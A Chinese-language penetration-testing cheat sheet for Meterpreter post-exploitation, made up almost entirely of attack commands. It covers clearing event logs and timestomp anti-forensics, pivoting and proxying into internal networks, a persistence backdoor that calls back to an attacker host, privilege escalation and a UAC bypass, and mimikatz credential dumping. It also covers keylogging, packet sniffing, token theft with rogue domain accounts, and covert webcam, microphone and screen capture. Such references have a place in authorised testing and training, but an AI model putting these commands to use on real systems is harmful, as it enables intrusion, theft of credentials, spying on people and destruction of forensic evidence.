渗透测试笔记1-Meterpreter后渗透

基本命令

background

将meterpreter终端隐藏在后台,msf可执行其它任务.

sessions

查看已获取的会话,sessions -i 与某对话交互

quit

关闭当前会话,返回msf终端

shell

获取系统的控制台shell

reboot

重新启动受害人的计算机

irb

与ruby终端交互,可以直接调用metasploit封装好的函数,如:

client.sys.config.sysinfo()

添加metasploit的附加组件-Railgun,直接与windows api交互,命令:

client.core.use(“railgun”)
client.railgun.user32.MessageBox(0,”hello word!”,null,MB_OK)

clearev/clearav

清除目标系统的事件日志

idletime

显示目标机器截止到当前无操作命令的时间

基于MACE时间的反电子取证

timestomp -v secist.txt #查看当前目标文件 MACE 时间
timestomp c:/a.doc -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查)
timestomp -f c:\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件)

文件命令

cat

查看文件,注意双斜杠转义,如:

cat c:\boot.ini

getwd

获取目标机上当前的工作目录

upload

上传文件到目标机:

upload net.exe c:\

download

下载文件:

download xxx.txt /tmp

edit

调用vim编辑文件,如编辑hosts文件

搜索文件

网络命令

ipconfig

获取网络接口信息

portfwd

端口转发

portfwd add -l 1234 -p 3389 -r 192.168.10.142

然后使用kali的rdesktop命令连接本地的1234端口,与远程主机的3389端口建立连接:

rdesktop -u admin -p 1234 127.0.0.1:1234

route

显示目标主机的路由信息

run get_local_subnets

查看已拿下的目标主机的内网IP段情况

添加一条通向目标服务器内网的路由

查看shell网络环境:

meterpreter>run get_local_subnets

添加一条通向目标服务器内网的路由

meterpreter>run autoroute -s 100.0.0.0/8 #(根据目标内网网络而定)

查看路由设置:

meterpreter>run autoroute –p

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。

route print

如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。

msf>route add 10.0.0.0 255.0.0.0 1

说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。

内网代理

msf exploit(handler) > use auxiliary/server/socks4a

msf auxiliary(socks4a) > route print

msf auxiliary(socks4a) > ifconfig

msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子’

msf auxiliary(socks4a) > exploit

proxychains nmap 192.168.1.0/24

系统命令

ps

查看进程信息

migrate

将meterpreter移植到另一进程空间中,如:migrate 304

execute

在目标机上执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > execute
Usage: execute -f file [options]
Executes a command on the remote machine.

OPTIONS:

-H Create the process hidden from view.
-a <opt> The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d <opt> The 'dummy' executable to launch when using -m.
-f <opt> The executable command to run.
-h Help menu.
-i Interact with the process after creating it.
-k Execute process on the meterpreters current desktop
-m Execute from memory.
-s <opt> Execute process in a given session as the session user
-t Execute process with currently impersonated thread token

例:

execute -H -f cmd.exe 隐藏执行cmd.exe
execute -H -i -f cmd.exe 与cmd进行交互

-m参数直接在内存中执行,不易留下痕迹

getpid

获取当前会话进程的PID值

kill

终结指定的进程

getuid

查看当前的用户名,从而查看会话具有的权限

sysinfo

获取目标系统的信息

shutdown

关闭目标主机

植入后门

persistence

向注册表中注入键值,维持权限

run persistence -U -i 5 -p 443 -r 192.168.1.71

metsvc

以系统服务形式安装到主机

getgui

开启远程桌面

run getgui -u xxxxx -p xxxxxx

开启3389端口

run getgui -e

提升权限

getsystem 命令

提权:ms09-012\ms10-015

ms10-073\ms10-092

键盘监听

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。

meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能

Starting the keystroke sniffer…

meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录

meterpreter > keyscan_stop #停止针对目标主机的键盘记录

mimikatz

meterpreter > load mimikatz #加载mimikatz

meterpreter > msv #获取hash值

meterpreter > kerberos #获取明文

meterpreter >ssp #获取明文信息

meterpreter > wdigest #获取系统账户信息

meterpreter > mimikatz_command -f a:: #输入一个错误的模块,可以列出所有模块

meterpreter > mimikatz_command -f samdump:: #可以列出samdump的子命令

meterpreter > mimikatz_command -f samdump::hashe #获取目标 hash

meterpreter > mimikatz_command -f handle::list #列出应用进程

meterpreter > mimikatz_command -f service::list #列出服务

网络嗅探

meterpreter > use sniffer # 加载嗅探模块

meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口

meterpreter > sniffer_start ID #获取正在实施嗅探网络接口的统计数据

meterpreter > sniffer_dump ID FILEPATH #在目标主机上针对特定范围的数据包缓冲区启动嗅探

meterpreter > sniffer_stop ID #停止嗅探

对抓取的包进行解包:

1
2
3
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run

捕捉屏幕

screenshot #屏幕截图并存储在我们的系统之中

run vnc #弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控

盗取令牌

meterpreter >use incognito 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)

meterpreter >list_tokens -u 列出目标主机用户的可用令牌

meterpreter >list_tokens -g 列出目标主机用户组的可用令牌

meterpreter >impersonate_token DOMAIN_NAME\USERNAME 假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\Administrato

meterpreter >execute -f cmd.exe -i -t #调用域权限shell

meterpreter > getuid

meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户

meterpreter>reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作

meterpreter>setdesktop number #切换到另一个用户界面(该功能基于哪些用户已登录)

meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID

meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒

meterpreter>drop_token pid #停止假冒当前令牌

网络摄像头

record_mic    #音频录制

webcam_chat   #查看摄像头接口

webcam_list   #查看摄像头列表

webcam_stream  #摄像头视频获取

webcam_snap #抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地

内网扫描

端口扫描

use auxiliary/scanner/portscan/tcp

存活主机扫描

run arp_scanner -r 192.168.1.0/24

绕过UAC

1
2
3
4
5
6
7
msf>use exploit/windows/local/ask

msf>show options

msf>set session 1

msf>exploit